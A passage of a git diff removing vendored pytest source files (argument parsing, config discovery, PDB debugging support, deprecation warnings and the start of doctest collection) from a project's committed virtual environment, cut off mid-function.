``--twowords`` gets - accepted **and** the automatic destination is in ``args.twowords``. - - :param opts: - Option names, can be short or long options. - :param attrs: - Same attributes as the argparse library's :meth:`add_argument() - ` function accepts. - """ - conflict = set(opts).intersection( - name for opt in self.options for name in opt.names() - ) - if conflict: - raise ValueError(f"option names {conflict} already added") - option = Argument(*opts, **attrs) - self._addoption_instance(option, shortupper=False) - - def _addoption(self, *opts: str, **attrs: Any) -> None: - option = Argument(*opts, **attrs) - self._addoption_instance(option, shortupper=True) - - def _addoption_instance(self, option: Argument, shortupper: bool = False) -> None: - if not shortupper: - for opt in option._short_opts: - if opt[0] == "-" and opt[1].islower(): - raise ValueError("lowercase shortoptions reserved") - if self.parser: - self.parser.processoption(option) - self.options.append(option) - - -class MyOptionParser(argparse.ArgumentParser): - def __init__( - self, - parser: Parser, - extra_info: dict[str, Any] | None = None, - prog: str | None = None, - ) -> None: - self._parser = parser - super().__init__( - prog=prog, - usage=parser._usage, - add_help=False, - formatter_class=DropShorterLongHelpFormatter, - allow_abbrev=False, - fromfile_prefix_chars="@", - ) - # extra_info is a dict of (param -> value) to display if there's - # an usage error to provide more contextual information to the user. - self.extra_info = extra_info if extra_info else {} - - def error(self, message: str) -> NoReturn: - """Transform argparse error message into UsageError.""" - msg = f"{self.prog}: error: {message}" - - if hasattr(self._parser, "_config_source_hint"): - msg = f"{msg} ({self._parser._config_source_hint})" - - raise UsageError(self.format_usage() + msg) - - # Type ignored because typeshed has a very complex type in the superclass. - def parse_args( # type: ignore - self, - args: Sequence[str] | None = None, - namespace: argparse.Namespace | None = None, - ) -> argparse.Namespace: - """Allow splitting of positional arguments.""" - parsed, unrecognized = self.parse_known_args(args, namespace) - if unrecognized: - for arg in unrecognized: - if arg and arg[0] == "-": - lines = [ - "unrecognized arguments: {}".format(" ".join(unrecognized)) - ] - for k, v in sorted(self.extra_info.items()): - lines.append(f" {k}: {v}") - self.error("\n".join(lines)) - getattr(parsed, FILE_OR_DIR).extend(unrecognized) - return parsed - - if sys.version_info < (3, 9): # pragma: no cover - # Backport of https://github.com/python/cpython/pull/14316 so we can - # disable long --argument abbreviations without breaking short flags. - def _parse_optional( - self, arg_string: str - ) -> tuple[argparse.Action | None, str, str | None] | None: - if not arg_string: - return None - if arg_string[0] not in self.prefix_chars: - return None - if arg_string in self._option_string_actions: - action = self._option_string_actions[arg_string] - return action, arg_string, None - if len(arg_string) == 1: - return None - if "=" in arg_string: - option_string, explicit_arg = arg_string.split("=", 1) - if option_string in self._option_string_actions: - action = self._option_string_actions[option_string] - return action, option_string, explicit_arg - if self.allow_abbrev or not arg_string.startswith("--"): - option_tuples = self._get_option_tuples(arg_string) - if len(option_tuples) > 1: - msg = gettext( - "ambiguous option: %(option)s could match %(matches)s" - ) - options = ", ".join(option for _, option, _ in option_tuples) - self.error(msg % {"option": arg_string, "matches": options}) - elif len(option_tuples) == 1: - (option_tuple,) = option_tuples - return option_tuple - if self._negative_number_matcher.match(arg_string): - if not self._has_negative_number_optionals: - return None - if " " in arg_string: - return None - return None, arg_string, None - - -class DropShorterLongHelpFormatter(argparse.HelpFormatter): - """Shorten help for long options that differ only in extra hyphens. - - - Collapse **long** options that are the same except for extra hyphens. - - Shortcut if there are only two options and one of them is a short one. - - Cache result on the action object as this is called at least 2 times. - """ - - def __init__(self, *args: Any, **kwargs: Any) -> None: - # Use more accurate terminal width. - if "width" not in kwargs: - kwargs["width"] = _pytest._io.get_terminal_width() - super().__init__(*args, **kwargs) - - def _format_action_invocation(self, action: argparse.Action) -> str: - orgstr = super()._format_action_invocation(action) - if orgstr and orgstr[0] != "-": # only optional arguments - return orgstr - res: str | None = getattr(action, "_formatted_action_invocation", None) - if res: - return res - options = orgstr.split(", ") - if len(options) == 2 and (len(options[0]) == 2 or len(options[1]) == 2): - # a shortcut for '-h, --help' or '--abc', '-a' - action._formatted_action_invocation = orgstr # type: ignore - return orgstr - return_list = [] - short_long: dict[str, str] = {} - for option in options: - if len(option) == 2 or option[2] == " ": - continue - if not option.startswith("--"): - raise ArgumentError( - f'long optional argument without "--": [{option}]', option - ) - xxoption = option[2:] - shortened = xxoption.replace("-", "") - if shortened not in short_long or len(short_long[shortened]) < len( - xxoption - ): - short_long[shortened] = xxoption - # now short_long has been filled out to the longest with dashes - # **and** we keep the right option ordering from add_argument - for option in options: - if len(option) == 2 or option[2] == " ": - return_list.append(option) - if option[2:] == short_long.get(option.replace("-", "")): - return_list.append(option.replace(" ", "=", 1)) - formatted_action_invocation = ", ".join(return_list) - action._formatted_action_invocation = formatted_action_invocation # type: ignore - return formatted_action_invocation - - def _split_lines(self, text, width): - """Wrap lines after splitting on original newlines. - - This allows to have explicit line breaks in the help text. - """ - import textwrap - - lines = [] - for line in text.splitlines(): - lines.extend(textwrap.wrap(line.strip(), width)) - return lines diff --git a/backend/venv/Lib/site-packages/_pytest/config/compat.py b/backend/venv/Lib/site-packages/_pytest/config/compat.py deleted file mode 100644 index 2856d85d..00000000 --- a/backend/venv/Lib/site-packages/_pytest/config/compat.py +++ /dev/null @@ -1,85 +0,0 @@ -from __future__ import annotations - -import functools -from pathlib import Path -from typing import Any -from typing import Mapping -import warnings - -import pluggy - -from ..compat import LEGACY_PATH -from ..compat import legacy_path -from ..deprecated import HOOK_LEGACY_PATH_ARG - - -# hookname: (Path, LEGACY_PATH) -imply_paths_hooks: Mapping[str, tuple[str, str]] = { - "pytest_ignore_collect": ("collection_path", "path"), - "pytest_collect_file": ("file_path", "path"), - "pytest_pycollect_makemodule": ("module_path", "path"), - "pytest_report_header": ("start_path", "startdir"), - "pytest_report_collectionfinish": ("start_path", "startdir"), -} - - -def _check_path(path: Path, fspath: LEGACY_PATH) -> None: - if Path(fspath) != path: - raise ValueError( - f"Path({fspath!r}) != {path!r}\n" - "if both path and fspath are given they need to be equal" - ) - - -class PathAwareHookProxy: - """ - this helper wraps around hook callers - until pluggy supports fixingcalls, this one will do - - it currently doesn't return full hook caller proxies for fixed hooks, - this may have to be changed later depending on bugs - """ - - def __init__(self, hook_relay: pluggy.HookRelay) -> None: - self._hook_relay = hook_relay - - def __dir__(self) -> list[str]: - return dir(self._hook_relay) - - def __getattr__(self, key: str) -> pluggy.HookCaller: - hook: pluggy.HookCaller = getattr(self._hook_relay, key) - if key not in imply_paths_hooks: - self.__dict__[key] = hook - return hook - else: - path_var, fspath_var = imply_paths_hooks[key] - - @functools.wraps(hook) - def fixed_hook(**kw: Any) -> Any: - path_value: Path | None = kw.pop(path_var, None) - fspath_value: LEGACY_PATH | None = kw.pop(fspath_var, None) - if fspath_value is not None: - warnings.warn( - HOOK_LEGACY_PATH_ARG.format( - pylib_path_arg=fspath_var, pathlib_path_arg=path_var - ), - stacklevel=2, - ) - if path_value is not None: - if fspath_value is not None: - _check_path(path_value, fspath_value) - else: - fspath_value = legacy_path(path_value) - else: - assert fspath_value is not None - path_value = Path(fspath_value) - - kw[path_var] = path_value - kw[fspath_var] = fspath_value - return hook(**kw) - - fixed_hook.name = hook.name # type: ignore[attr-defined] - fixed_hook.spec = hook.spec # type: ignore[attr-defined] - fixed_hook.__name__ = key - self.__dict__[key] = fixed_hook - return fixed_hook # type: ignore[return-value] diff --git a/backend/venv/Lib/site-packages/_pytest/config/exceptions.py b/backend/venv/Lib/site-packages/_pytest/config/exceptions.py deleted file mode 100644 index 90108eca..00000000 --- a/backend/venv/Lib/site-packages/_pytest/config/exceptions.py +++ /dev/null @@ -1,13 +0,0 @@ -from __future__ import annotations - -from typing import final - - -@final -class UsageError(Exception): - """Error in pytest usage or invocation.""" - - -class PrintHelp(Exception): - """Raised when pytest should print its help to skip the rest of the - argument parsing and validation.""" diff --git a/backend/venv/Lib/site-packages/_pytest/config/findpaths.py b/backend/venv/Lib/site-packages/_pytest/config/findpaths.py deleted file mode 100644 index ce4c990b..00000000 --- a/backend/venv/Lib/site-packages/_pytest/config/findpaths.py +++ /dev/null @@ -1,228 +0,0 @@ -from __future__ import annotations - -import os -from pathlib import Path -import sys -from typing import Iterable -from typing import Sequence - -import iniconfig - -from .exceptions import UsageError -from _pytest.outcomes import fail -from _pytest.pathlib import absolutepath -from _pytest.pathlib import commonpath -from _pytest.pathlib import safe_exists - - -def _parse_ini_config(path: Path) -> iniconfig.IniConfig: - """Parse the given generic '.ini' file using legacy IniConfig parser, returning - the parsed object. - - Raise UsageError if the file cannot be parsed. - """ - try: - return iniconfig.IniConfig(str(path)) - except iniconfig.ParseError as exc: - raise UsageError(str(exc)) from exc - - -def load_config_dict_from_file( - filepath: Path, -) -> dict[str, str | list[str]] | None: - """Load pytest configuration from the given file path, if supported. - - Return None if the file does not contain valid pytest configuration. - """ - # Configuration from ini files are obtained from the [pytest] section, if present. - if filepath.suffix == ".ini": - iniconfig = _parse_ini_config(filepath) - - if "pytest" in iniconfig: - return dict(iniconfig["pytest"].items()) - else: - # "pytest.ini" files are always the source of configuration, even if empty. - if filepath.name == "pytest.ini": - return {} - - # '.cfg' files are considered if they contain a "[tool:pytest]" section. - elif filepath.suffix == ".cfg": - iniconfig = _parse_ini_config(filepath) - - if "tool:pytest" in iniconfig.sections: - return dict(iniconfig["tool:pytest"].items()) - elif "pytest" in iniconfig.sections: - # If a setup.cfg contains a "[pytest]" section, we raise a failure to indicate users that - # plain "[pytest]" sections in setup.cfg files is no longer supported (#3086). - fail(CFG_PYTEST_SECTION.format(filename="setup.cfg"), pytrace=False) - - # '.toml' files are considered if they contain a [tool.pytest.ini_options] table. - elif filepath.suffix == ".toml": - if sys.version_info >= (3, 11): - import tomllib - else: - import tomli as tomllib - - toml_text = filepath.read_text(encoding="utf-8") - try: - config = tomllib.loads(toml_text) - except tomllib.TOMLDecodeError as exc: - raise UsageError(f"{filepath}: {exc}") from exc - - result = config.get("tool", {}).get("pytest", {}).get("ini_options", None) - if result is not None: - # TOML supports richer data types than ini files (strings, arrays, floats, ints, etc), - # however we need to convert all scalar values to str for compatibility with the rest - # of the configuration system, which expects strings only. - def make_scalar(v: object) -> str | list[str]: - return v if isinstance(v, list) else str(v) - - return {k: make_scalar(v) for k, v in result.items()} - - return None - - -def locate_config( - invocation_dir: Path, - args: Iterable[Path], -) -> tuple[Path | None, Path | None, dict[str, str | list[str]]]: - """Search in the list of arguments for a valid ini-file for pytest, - and return a tuple of (rootdir, inifile, cfg-dict).""" - config_names = [ - "pytest.ini", - ".pytest.ini", - "pyproject.toml", - "tox.ini", - "setup.cfg", - ] - args = [x for x in args if not str(x).startswith("-")] - if not args: - args = [invocation_dir] - found_pyproject_toml: Path | None = None - for arg in args: - argpath = absolutepath(arg) - for base in (argpath, *argpath.parents): - for config_name in config_names: - p = base / config_name - if p.is_file(): - if p.name == "pyproject.toml" and found_pyproject_toml is None: - found_pyproject_toml = p - ini_config = load_config_dict_from_file(p) - if ini_config is not None: - return base, p, ini_config - if found_pyproject_toml is not None: - return found_pyproject_toml.parent, found_pyproject_toml, {} - return None, None, {} - - -def get_common_ancestor( - invocation_dir: Path, - paths: Iterable[Path], -) -> Path: - common_ancestor: Path | None = None - for path in paths: - if not path.exists(): - continue - if common_ancestor is None: - common_ancestor = path - else: - if common_ancestor in path.parents or path == common_ancestor: - continue - elif path in common_ancestor.parents: - common_ancestor = path - else: - shared = commonpath(path, common_ancestor) - if shared is not None: - common_ancestor = shared - if common_ancestor is None: - common_ancestor = invocation_dir - elif common_ancestor.is_file(): - common_ancestor = common_ancestor.parent - return common_ancestor - - -def get_dirs_from_args(args: Iterable[str]) -> list[Path]: - def is_option(x: str) -> bool: - return x.startswith("-") - - def get_file_part_from_node_id(x: str) -> str: - return x.split("::")[0] - - def get_dir_from_path(path: Path) -> Path: - if path.is_dir(): - return path - return path.parent - - # These look like paths but may not exist - possible_paths = ( - absolutepath(get_file_part_from_node_id(arg)) - for arg in args - if not is_option(arg) - ) - - return [get_dir_from_path(path) for path in possible_paths if safe_exists(path)] - - -CFG_PYTEST_SECTION = "[pytest] section in {filename} files is no longer supported, change to [tool:pytest] instead." - - -def determine_setup( - *, - inifile: str | None, - args: Sequence[str], - rootdir_cmd_arg: str | None, - invocation_dir: Path, -) -> tuple[Path, Path | None, dict[str, str | list[str]]]: - """Determine the rootdir, inifile and ini configuration values from the - command line arguments. - - :param inifile: - The `--inifile` command line argument, if given. - :param args: - The free command line arguments. - :param rootdir_cmd_arg: - The `--rootdir` command line argument, if given. - :param invocation_dir: - The working directory when pytest was invoked. - """ - rootdir = None - dirs = get_dirs_from_args(args) - if inifile: - inipath_ = absolutepath(inifile) - inipath: Path | None = inipath_ - inicfg = load_config_dict_from_file(inipath_) or {} - if rootdir_cmd_arg is None: - rootdir = inipath_.parent - else: - ancestor = get_common_ancestor(invocation_dir, dirs) - rootdir, inipath, inicfg = locate_config(invocation_dir, [ancestor]) - if rootdir is None and rootdir_cmd_arg is None: - for possible_rootdir in (ancestor, *ancestor.parents): - if (possible_rootdir / "setup.py").is_file(): - rootdir = possible_rootdir - break - else: - if dirs != [ancestor]: - rootdir, inipath, inicfg = locate_config(invocation_dir, dirs) - if rootdir is None: - rootdir = get_common_ancestor( - invocation_dir, [invocation_dir, ancestor] - ) - if is_fs_root(rootdir): - rootdir = ancestor - if rootdir_cmd_arg: - rootdir = absolutepath(os.path.expandvars(rootdir_cmd_arg)) - if not rootdir.is_dir(): - raise UsageError( - f"Directory '{rootdir}' not found. Check your '--rootdir' option." - ) - assert rootdir is not None - return rootdir, inipath, inicfg or {} - - -def is_fs_root(p: Path) -> bool: - r""" - Return True if the given path is pointing to the root of the - file system ("/" on Unix and "C:\\" on Windows for example). - """ - return os.path.splitdrive(str(p))[1] == os.sep diff --git a/backend/venv/Lib/site-packages/_pytest/debugging.py b/backend/venv/Lib/site-packages/_pytest/debugging.py deleted file mode 100644 index 3e1463ff..00000000 --- a/backend/venv/Lib/site-packages/_pytest/debugging.py +++ /dev/null @@ -1,385 +0,0 @@ -# mypy: allow-untyped-defs -# ruff: noqa: T100 -"""Interactive debugging with PDB, the Python Debugger.""" - -from __future__ import annotations - -import argparse -import functools -import sys -import types -from typing import Any -from typing import Callable -from typing import Generator -import unittest - -from _pytest import outcomes -from _pytest._code import ExceptionInfo -from _pytest.capture import CaptureManager -from _pytest.config import Config -from _pytest.config import ConftestImportFailure -from _pytest.config import hookimpl -from _pytest.config import PytestPluginManager -from _pytest.config.argparsing import Parser -from _pytest.config.exceptions import UsageError -from _pytest.nodes import Node -from _pytest.reports import BaseReport -from _pytest.runner import CallInfo - - -def _validate_usepdb_cls(value: str) -> tuple[str, str]: - """Validate syntax of --pdbcls option.""" - try: - modname, classname = value.split(":") - except ValueError as e: - raise argparse.ArgumentTypeError( - f"{value!r} is not in the format 'modname:classname'" - ) from e - return (modname, classname) - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("general") - group._addoption( - "--pdb", - dest="usepdb", - action="store_true", - help="Start the interactive Python debugger on errors or KeyboardInterrupt", - ) - group._addoption( - "--pdbcls", - dest="usepdb_cls", - metavar="modulename:classname", - type=_validate_usepdb_cls, - help="Specify a custom interactive Python debugger for use with --pdb." - "For example: --pdbcls=IPython.terminal.debugger:TerminalPdb", - ) - group._addoption( - "--trace", - dest="trace", - action="store_true", - help="Immediately break when running each test", - ) - - -def pytest_configure(config: Config) -> None: - import pdb - - if config.getvalue("trace"): - config.pluginmanager.register(PdbTrace(), "pdbtrace") - if config.getvalue("usepdb"): - config.pluginmanager.register(PdbInvoke(), "pdbinvoke") - - pytestPDB._saved.append( - (pdb.set_trace, pytestPDB._pluginmanager, pytestPDB._config) - ) - pdb.set_trace = pytestPDB.set_trace - pytestPDB._pluginmanager = config.pluginmanager - pytestPDB._config = config - - # NOTE: not using pytest_unconfigure, since it might get called although - # pytest_configure was not (if another plugin raises UsageError). - def fin() -> None: - ( - pdb.set_trace, - pytestPDB._pluginmanager, - pytestPDB._config, - ) = pytestPDB._saved.pop() - - config.add_cleanup(fin) - - -class pytestPDB: - """Pseudo PDB that defers to the real pdb.""" - - _pluginmanager: PytestPluginManager | None = None - _config: Config | None = None - _saved: list[ - tuple[Callable[..., None], PytestPluginManager | None, Config | None] - ] = [] - _recursive_debug = 0 - _wrapped_pdb_cls: tuple[type[Any], type[Any]] | None = None - - @classmethod - def _is_capturing(cls, capman: CaptureManager | None) -> str | bool: - if capman: - return capman.is_capturing() - return False - - @classmethod - def _import_pdb_cls(cls, capman: CaptureManager | None): - if not cls._config: - import pdb - - # Happens when using pytest.set_trace outside of a test. - return pdb.Pdb - - usepdb_cls = cls._config.getvalue("usepdb_cls") - - if cls._wrapped_pdb_cls and cls._wrapped_pdb_cls[0] == usepdb_cls: - return cls._wrapped_pdb_cls[1] - - if usepdb_cls: - modname, classname = usepdb_cls - - try: - __import__(modname) - mod = sys.modules[modname] - - # Handle --pdbcls=pdb:pdb.Pdb (useful e.g. with pdbpp). - parts = classname.split(".") - pdb_cls = getattr(mod, parts[0]) - for part in parts[1:]: - pdb_cls = getattr(pdb_cls, part) - except Exception as exc: - value = ":".join((modname, classname)) - raise UsageError( - f"--pdbcls: could not import {value!r}: {exc}" - ) from exc - else: - import pdb - - pdb_cls = pdb.Pdb - - wrapped_cls = cls._get_pdb_wrapper_class(pdb_cls, capman) - cls._wrapped_pdb_cls = (usepdb_cls, wrapped_cls) - return wrapped_cls - - @classmethod - def _get_pdb_wrapper_class(cls, pdb_cls, capman: CaptureManager | None): - import _pytest.config - - class PytestPdbWrapper(pdb_cls): - _pytest_capman = capman - _continued = False - - def do_debug(self, arg): - cls._recursive_debug += 1 - ret = super().do_debug(arg) - cls._recursive_debug -= 1 - return ret - - def do_continue(self, arg): - ret = super().do_continue(arg) - if cls._recursive_debug == 0: - assert cls._config is not None - tw = _pytest.config.create_terminal_writer(cls._config) - tw.line() - - capman = self._pytest_capman - capturing = pytestPDB._is_capturing(capman) - if capturing: - if capturing == "global": - tw.sep(">", "PDB continue (IO-capturing resumed)") - else: - tw.sep( - ">", - f"PDB continue (IO-capturing resumed for {capturing})", - ) - assert capman is not None - capman.resume() - else: - tw.sep(">", "PDB continue") - assert cls._pluginmanager is not None - cls._pluginmanager.hook.pytest_leave_pdb(config=cls._config, pdb=self) - self._continued = True - return ret - - do_c = do_cont = do_continue - - def do_quit(self, arg): - """Raise Exit outcome when quit command is used in pdb. - - This is a bit of a hack - it would be better if BdbQuit - could be handled, but this would require to wrap the - whole pytest run, and adjust the report etc. - """ - ret = super().do_quit(arg) - - if cls._recursive_debug == 0: - outcomes.exit("Quitting debugger") - - return ret - - do_q = do_quit - do_exit = do_quit - - def setup(self, f, tb): - """Suspend on setup(). - - Needed after do_continue resumed, and entering another - breakpoint again. - """ - ret = super().setup(f, tb) - if not ret and self._continued: - # pdb.setup() returns True if the command wants to exit - # from the interaction: do not suspend capturing then. - if self._pytest_capman: - self._pytest_capman.suspend_global_capture(in_=True) - return ret - - def get_stack(self, f, t): - stack, i = super().get_stack(f, t) - if f is None: - # Find last non-hidden frame. - i = max(0, len(stack) - 1) - while i and stack[i][0].f_locals.get("__tracebackhide__", False): - i -= 1 - return stack, i - - return PytestPdbWrapper - - @classmethod - def _init_pdb(cls, method, *args, **kwargs): - """Initialize PDB debugging, dropping any IO capturing.""" - import _pytest.config - - if cls._pluginmanager is None: - capman: CaptureManager | None = None - else: - capman = cls._pluginmanager.getplugin("capturemanager") - if capman: - capman.suspend(in_=True) - - if cls._config: - tw = _pytest.config.create_terminal_writer(cls._config) - tw.line() - - if cls._recursive_debug == 0: - # Handle header similar to pdb.set_trace in py37+. - header = kwargs.pop("header", None) - if header is not None: - tw.sep(">", header) - else: - capturing = cls._is_capturing(capman) - if capturing == "global": - tw.sep(">", f"PDB {method} (IO-capturing turned off)") - elif capturing: - tw.sep( - ">", - f"PDB {method} (IO-capturing turned off for {capturing})", - ) - else: - tw.sep(">", f"PDB {method}") - - _pdb = cls._import_pdb_cls(capman)(**kwargs) - - if cls._pluginmanager: - cls._pluginmanager.hook.pytest_enter_pdb(config=cls._config, pdb=_pdb) - return _pdb - - @classmethod - def set_trace(cls, *args, **kwargs) -> None: - """Invoke debugging via ``Pdb.set_trace``, dropping any IO capturing.""" - frame = sys._getframe().f_back - _pdb = cls._init_pdb("set_trace", *args, **kwargs) - _pdb.set_trace(frame) - - -class PdbInvoke: - def pytest_exception_interact( - self, node: Node, call: CallInfo[Any], report: BaseReport - ) -> None: - capman = node.config.pluginmanager.getplugin("capturemanager") - if capman: - capman.suspend_global_capture(in_=True) - out, err = capman.read_global_capture() - sys.stdout.write(out) - sys.stdout.write(err) - assert call.excinfo is not None - - if not isinstance(call.excinfo.value, unittest.SkipTest): - _enter_pdb(node, call.excinfo, report) - - def pytest_internalerror(self, excinfo: ExceptionInfo[BaseException]) -> None: - tb = _postmortem_traceback(excinfo) - post_mortem(tb) - - -class PdbTrace: - @hookimpl(wrapper=True) - def pytest_pyfunc_call(self, pyfuncitem) -> Generator[None, object, object]: - wrap_pytest_function_for_tracing(pyfuncitem) - return (yield) - - -def wrap_pytest_function_for_tracing(pyfuncitem) -> None: - """Change the Python function object of the given Function item by a - wrapper which actually enters pdb before calling the python function - itself, effectively leaving the user in the pdb prompt in the first - statement of the function.""" - _pdb = pytestPDB._init_pdb("runcall") - testfunction = pyfuncitem.obj - - # we can't just return `partial(pdb.runcall, testfunction)` because (on - # python < 3.7.4) runcall's first param is `func`, which means we'd get - # an exception if one of the kwargs to testfunction was called `func`. - @functools.wraps(testfunction) - def wrapper(*args, **kwargs) -> None: - func = functools.partial(testfunction, *args, **kwargs) - _pdb.runcall(func) - - pyfuncitem.obj = wrapper - - -def maybe_wrap_pytest_function_for_tracing(pyfuncitem) -> None: - """Wrap the given pytestfunct item for tracing support if --trace was given in - the command line.""" - if pyfuncitem.config.getvalue("trace"): - wrap_pytest_function_for_tracing(pyfuncitem) - - -def _enter_pdb( - node: Node, excinfo: ExceptionInfo[BaseException], rep: BaseReport -) -> BaseReport: - # XXX we re-use the TerminalReporter's terminalwriter - # because this seems to avoid some encoding related troubles - # for not completely clear reasons. - tw = node.config.pluginmanager.getplugin("terminalreporter")._tw - tw.line() - - showcapture = node.config.option.showcapture - - for sectionname, content in ( - ("stdout", rep.capstdout), - ("stderr", rep.capstderr), - ("log", rep.caplog), - ): - if showcapture in (sectionname, "all") and content: - tw.sep(">", "captured " + sectionname) - if content[-1:] == "\n": - content = content[:-1] - tw.line(content) - - tw.sep(">", "traceback") - rep.toterminal(tw) - tw.sep(">", "entering PDB") - tb = _postmortem_traceback(excinfo) - rep._pdbshown = True # type: ignore[attr-defined] - post_mortem(tb) - return rep - - -def _postmortem_traceback(excinfo: ExceptionInfo[BaseException]) -> types.TracebackType: - from doctest import UnexpectedException - - if isinstance(excinfo.value, UnexpectedException): - # A doctest.UnexpectedException is not useful for post_mortem. - # Use the underlying exception instead: - return excinfo.value.exc_info[2] - elif isinstance(excinfo.value, ConftestImportFailure): - # A config.ConftestImportFailure is not useful for post_mortem. - # Use the underlying exception instead: - assert excinfo.value.cause.__traceback__ is not None - return excinfo.value.cause.__traceback__ - else: - assert excinfo._excinfo is not None - return excinfo._excinfo[2] - - -def post_mortem(t: types.TracebackType) -> None: - p = pytestPDB._init_pdb("post_mortem") - p.reset() - p.interaction(None, t) - if p.quitting: - outcomes.exit("Quitting debugger") diff --git a/backend/venv/Lib/site-packages/_pytest/deprecated.py b/backend/venv/Lib/site-packages/_pytest/deprecated.py deleted file mode 100644 index a605c24e..00000000 --- a/backend/venv/Lib/site-packages/_pytest/deprecated.py +++ /dev/null @@ -1,91 +0,0 @@ -"""Deprecation messages and bits of code used elsewhere in the codebase that -is planned to be removed in the next pytest release. - -Keeping it in a central location makes it easy to track what is deprecated and should -be removed when the time comes. - -All constants defined in this module should be either instances of -:class:`PytestWarning`, or :class:`UnformattedWarning` -in case of warnings which need to format their messages. -""" - -from __future__ import annotations - -from warnings import warn - -from _pytest.warning_types import PytestDeprecationWarning -from _pytest.warning_types import PytestRemovedIn9Warning -from _pytest.warning_types import UnformattedWarning - - -# set of plugins which have been integrated into the core; we use this list to ignore -# them during registration to avoid conflicts -DEPRECATED_EXTERNAL_PLUGINS = { - "pytest_catchlog", - "pytest_capturelog", - "pytest_faulthandler", -} - - -# This can be* removed pytest 8, but it's harmless and common, so no rush to remove. -# * If you're in the future: "could have been". -YIELD_FIXTURE = PytestDeprecationWarning( - "@pytest.yield_fixture is deprecated.\n" - "Use @pytest.fixture instead; they are the same." -) - -# This deprecation is never really meant to be removed. -PRIVATE = PytestDeprecationWarning("A private pytest class or function was used.") - - -HOOK_LEGACY_PATH_ARG = UnformattedWarning( - PytestRemovedIn9Warning, - "The ({pylib_path_arg}: py.path.local) argument is deprecated, please use ({pathlib_path_arg}: pathlib.Path)\n" - "see https://docs.pytest.org/en/latest/deprecations.html" - "#py-path-local-arguments-for-hooks-replaced-with-pathlib-path", -) - -NODE_CTOR_FSPATH_ARG = UnformattedWarning( - PytestRemovedIn9Warning, - "The (fspath: py.path.local) argument to {node_type_name} is deprecated. " - "Please use the (path: pathlib.Path) argument instead.\n" - "See https://docs.pytest.org/en/latest/deprecations.html" - "#fspath-argument-for-node-constructors-replaced-with-pathlib-path", -) - -HOOK_LEGACY_MARKING = UnformattedWarning( - PytestDeprecationWarning, - "The hook{type} {fullname} uses old-style configuration options (marks or attributes).\n" - "Please use the pytest.hook{type}({hook_opts}) decorator instead\n" - " to configure the hooks.\n" - " See https://docs.pytest.org/en/latest/deprecations.html" - "#configuring-hook-specs-impls-using-markers", -) - -MARKED_FIXTURE = PytestRemovedIn9Warning( - "Marks applied to fixtures have no effect\n" - "See docs: https://docs.pytest.org/en/stable/deprecations.html#applying-a-mark-to-a-fixture-function" -) - -# You want to make some `__init__` or function "private". -# -# def my_private_function(some, args): -# ... -# -# Do this: -# -# def my_private_function(some, args, *, _ispytest: bool = False): -# check_ispytest(_ispytest) -# ... -# -# Change all internal/allowed calls to -# -# my_private_function(some, args, _ispytest=True) -# -# All other calls will get the default _ispytest=False and trigger -# the warning (possibly error in the future). - - -def check_ispytest(ispytest: bool) -> None: - if not ispytest: - warn(PRIVATE, stacklevel=3) diff --git a/backend/venv/Lib/site-packages/_pytest/doctest.py b/backend/venv/Lib/site-packages/_pytest/doctest.py deleted file mode 100644 index cb46d9a3..00000000 --- a/backend/venv/Lib/site-packages/_pytest/doctest.py +++ /dev/null @@ -1,754 +0,0 @@ -# mypy: allow-untyped-defs -"""Discover and run doctests in modules and test files.""" - -from __future__ import annotations - -import bdb -from contextlib import contextmanager -import functools -import inspect -import os -from pathlib import Path -import platform -import sys -import traceback -import types -from typing import Any -from typing import Callable -from typing import Generator -from typing import Iterable -from typing import Pattern -from typing import Sequence -from typing import TYPE_CHECKING -import warnings - -from _pytest import outcomes -from _pytest._code.code import ExceptionInfo -from _pytest._code.code import ReprFileLocation -from _pytest._code.code import TerminalRepr -from _pytest._io import TerminalWriter -from _pytest.compat import safe_getattr -from _pytest.config import Config -from _pytest.config.argparsing import Parser -from _pytest.fixtures import fixture -from _pytest.fixtures import TopRequest -from _pytest.nodes import Collector -from _pytest.nodes import Item -from _pytest.outcomes import OutcomeException -from _pytest.outcomes import skip -from _pytest.pathlib import fnmatch_ex -from _pytest.python import Module -from _pytest.python_api import approx -from _pytest.warning_types import PytestWarning - - -if TYPE_CHECKING: - import doctest - from typing import Self - -DOCTEST_REPORT_CHOICE_NONE = "none" -DOCTEST_REPORT_CHOICE_CDIFF = "cdiff" -DOCTEST_REPORT_CHOICE_NDIFF = "ndiff" -DOCTEST_REPORT_CHOICE_UDIFF = "udiff" -DOCTEST_REPORT_CHOICE_ONLY_FIRST_FAILURE = "only_first_failure" - -DOCTEST_REPORT_CHOICES = ( - DOCTEST_REPORT_CHOICE_NONE, - DOCTEST_REPORT_CHOICE_CDIFF, - DOCTEST_REPORT_CHOICE_NDIFF, - DOCTEST_REPORT_CHOICE_UDIFF, - DOCTEST_REPORT_CHOICE_ONLY_FIRST_FAILURE, -) - -# Lazy definition of runner class -RUNNER_CLASS = None -# Lazy definition of output checker class -CHECKER_CLASS: type[doctest.OutputChecker] | None = None - - -def pytest_addoption(parser: Parser) -> None: - parser.addini( - "doctest_optionflags", - "Option flags for doctests", - type="args", - default=["ELLIPSIS"], - ) - parser.addini( - "doctest_encoding", "Encoding used for doctest files", default="utf-8" - ) - group = parser.getgroup("collect") - group.addoption( - "--doctest-modules", - action="store_true", - default=False, - help="Run doctests in all .py modules", - dest="doctestmodules", - ) - group.addoption( - "--doctest-report", - type=str.lower, - default="udiff", - help="Choose another output format for diffs on doctest failure", - choices=DOCTEST_REPORT_CHOICES, - dest="doctestreport", - ) - group.addoption( - "--doctest-glob", - action="append", - default=[], - metavar="pat", - help="Doctests file matching pattern, default: test*.txt", - dest="doctestglob", - ) - group.addoption( - "--doctest-ignore-import-errors", - action="store_true", - default=False, - help="Ignore doctest collection errors", - dest="doctest_ignore_import_errors", - ) - group.addoption( - "--doctest-continue-on-failure", - action="store_true", - default=False, - help="For a given doctest, continue to run after the first failure", - dest="doctest_continue_on_failure", - ) - - -def pytest_unconfigure() -> None: - global RUNNER_CLASS - - RUNNER_CLASS = None - - -def pytest_collect_file( - file_path: Path, - parent: Collector, -) -> DoctestModule | DoctestTextfile | None: - config = parent.config - if file_path.suffix == ".py": - if config.option.doctestmodules and not any( - (_is_setup_py(file_path), _is_main_py(file_path)) - ): - return DoctestModule.from_parent(parent, path=file_path) - elif _is_doctest(config, file_path, parent): - return DoctestTextfile.from_parent(parent, path=file_path) - return None - - -def _is_setup_py(path: Path) -> bool: - if path.name != "setup.py": - return False - contents = path.read_bytes() - return b"setuptools" in contents or b"distutils" in contents - - -def _is_doctest(config: Config, path: Path, parent: Collector) -> bool: - if 